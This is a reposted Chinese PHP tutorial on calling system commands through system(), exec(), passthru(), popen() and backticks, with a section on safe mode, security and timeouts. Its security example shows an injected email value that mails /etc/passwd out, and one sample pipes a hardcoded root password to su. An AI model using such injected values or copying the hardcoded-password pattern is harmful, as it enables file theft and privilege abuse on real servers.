PHP新用法,PHP執行系統外部命令篇(轉)
PHP新用法,PHP執行系統外部命令篇(轉)[@more@] PHP作為一種伺服器端的指令碼語言,象編寫簡單,或者是複雜的動態網頁這樣的任務,它完全能夠勝任。但事情不總是如此,有時為了實現某個功能,必須藉助於作業系統的外部程式(或者稱之為命令),這樣可以做到事半功倍。 那麼,是否可以在PHP指令碼中呼叫外部命令呢?如果能,如何去做呢?有些什麼方面的顧慮呢?相信你看了本文後,肯定能夠回答這些問題了。 是否可以? 答案是肯定的。PHP和其它的程式設計語言一樣,完全可以在程式內呼叫外部命令,並且是很簡單的:只要用一個或幾個函式即可。 前提條件 由於PHP基本是用於WEB程式開發的,所以安全性成了人們考慮的一個重要方面。於是PHP的設計者們給PHP加了一個門:安全模式。如果執行在安全模式下,那麼PHP指令碼中將受到如下四個方面的限制: 執行外部命令 在開啟檔案時有些限制 連線MySQL資料庫 基於HTTP的認證 在安全模式下,只有在特定目錄中的外部程式才可以被執行,對其它程式的呼叫將被拒絕。這個目錄可以在php.ini檔案中用safe_mode_exec_dir指令,或在編譯PHP是加上--with-exec-dir選項來指定,預設是/usr/local/php/bin。 如果你呼叫一個應該可以輸出結果的外部命令(意思是PHP指令碼沒有錯誤),得到的卻是一片空白,那麼很可能你的網管已經把PHP執行在安全模式下了。 如何做? 在PHP中呼叫外部命令,可以用如下三種方法來實現: 1) 用PHP提供的專門函式 PHP提供共了3個專門的執行外部命令的函式:system(),exec(),passthru()。 system() 原型:string system (string command [, int return_var]) system()函式很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個引數是可選的,用來得到命令執行後的狀態碼。 例子: system("/usr/local/bin/webalizer/webalizer"); ?> exec() 原型:string exec (string command [, string array [, int return_var]]) exec()函式與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個引數array可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在呼叫之前最好用unset()最它清掉。只有指定了第二個引數時,才可以用第三個引數,用來取得命令執行的狀態碼。 例子: exec("/bin/ls -l"); exec("/bin/ls -l", $res); #$res是一個資料,每個元素代表結果的一行 exec("/bin/ls -l", $res, $rc); #$rc的值是命令/bin/ls -l的狀態碼。成功的情況下通常是0 ?> passthru() 原型:void passthru (string command [, int return_var]) passthru()只呼叫命令,不返回任何結果,但把命令的執行結果原樣地直接輸出到標準輸出裝置上。所以passthru()函式經常用來呼叫象pbmplus(Unix下的一個處理圖片的工具,輸出二進位制的原始圖片的流)這樣的程式。同樣它也可以得到命令執行的狀態碼。 例子: header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?> 2) 用popen()函式開啟程式 上面的方法只能簡單地執行命令,卻不能與命令互動。但有些時候必須向命令輸入一些東西,如在增加Linux的系統使用者時,要呼叫su來把當前使用者換到root才行,而su命令必須要在命令列上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。 popen()函式開啟一個程式管道來執行給定的命令,返回一個檔案控制程式碼。既然返回的是一個檔案控制程式碼,那麼就可以對它讀和寫了。在PHP3中,對這種控制程式碼只能做單一的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個控制程式碼是以一種模式(讀或寫)開啟的,否則必須呼叫pclose()函式來關閉它。 例子1: $fp=popen("/bin/ls -l", "r"); ?> 例子2(本例來自PHP中國聯盟網站): /* PHP中如何增加一個系統使用者 下面是一段例程,增加一個名字為james的使用者, root密碼是 verygood。僅供參考 */ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?> 3) 用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面) 這個方法以前沒有歸入PHP的文件,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表示式,這個表示式的值就是命令執行的結果。如: $res=`/bin/ls -l`; echo ' '.$res.' ?> 這個指令碼的輸出就象: hunte.gif hunte.ppm jpg.htm jpg.jpg passthru.php 要考慮些什麼? 要考慮兩個問題:安全性和超時。 先看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個檔案中。你編寫了一個有表單的HTML檔案,讓你的使用者輸入他們的EMAIL地址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函式(或者從未聽說過),你就呼叫Linux/Unix系統的mail程式來傳送這個檔案。程式就象這樣: system("mail $to < products.txt"); echo "我們的產品目錄已經傳送到你的信箱:$to"; ?> 用這段程式碼,一般的使用者不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的使用者輸入了這樣一個EMAIL地址: '--bla ; mail someone@domain.com < /etc/passwd ;' 那麼這條命令最終變成: 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。 幸好,PHP為我們提供了兩個函式:EscapeShellCmd()和EscapeShellArg()。函式EscapeShellCmd把一個字串中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從檔案讀入( 再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後臺去執行。但在預設情況下,象system()等函式要等到這個命令執行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP指令碼的超時。解決的辦法是把命令的輸出重定向到另外一個檔案或流中.
·上一篇:·下一篇:
最新更新 | ||
······························ |
| ||
| | | | | | | | ||
| ||
Copyright © 2004 - 2007 All Rights Reserved
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-969878/,如需轉載,請註明出處,否則將追究法律責任。
上一篇:
用Linux作業系統的後臺任務(轉)
請登入後發表評論
登入
全部評論
最新文章
|
相關文章
- 在PHP中以root身份執行外部命令(轉)PHP
- PHP執行模式PHP模式
- PHP 執行模式PHP模式
- php執行流程PHP
- crontab執行phpPHP
- PHP執行sqlPHPSQL
- PHP多程式並行執行php指令碼PHP並行指令碼
- PHP 執行注入分享PHP
- windows 2003 64位系統php執行報錯WindowsPHP
- PHP訪問MySQL篇(轉)PHPMySql
- PHP系統程式設計--01.多程式與多執行緒PHP程式設計執行緒
- PHP執行流程回顧PHP
- 認識PHP執行模式PHP模式
- PHP 執行方式詳解PHP
- PHP命令執行集錦PHP
- 怎麼在win10執行php檔案_win10系統如何開啟php檔案Win10PHP
- 利用 PHP7 的 OPcache 執行 PHP 程式碼PHPopcache
- 【深入 PHP】PHP7 底層執行機制PHP
- PHP檔案及執行(適合PHP初學者)PHP
- PHP 轉 JAVA 篇 小插曲(環境篇)PHPJava
- PHP 轉 GO 篇 小插曲(環境篇)PHPGo
- [PHP]不同作業系統下PHP接收POST資料問題 (轉)PHP作業系統
- PHP Session的用法PHPSession
- php中split()用法PHP
- php直播原始碼,PHP也能非同步和並行執行PHP原始碼非同步並行
- 畫江湖之 PHP 多執行緒開發 【建立一個新的執行緒】PHP執行緒
- 畫江湖之 PHP 多執行緒開發 [建立一個新的執行緒]PHP執行緒
- PHP直譯器引擎執行流程 - [ PHP核心學習 ]PHP
- PHP-系統流程PHP
- php:多程式執行任務PHP
- PHP五大執行模式PHP模式
- apache禁止執行php檔案ApachePHP
- PHP定時執行任務PHP
- PHP執行批量mysql語句PHPMySql
- PHP命令執行與繞過PHP
- 【Python】執行系統命令的常見用法Python
- perl中如何執行外部命令
- 用 PHP 來執行執行網路相關命令PHP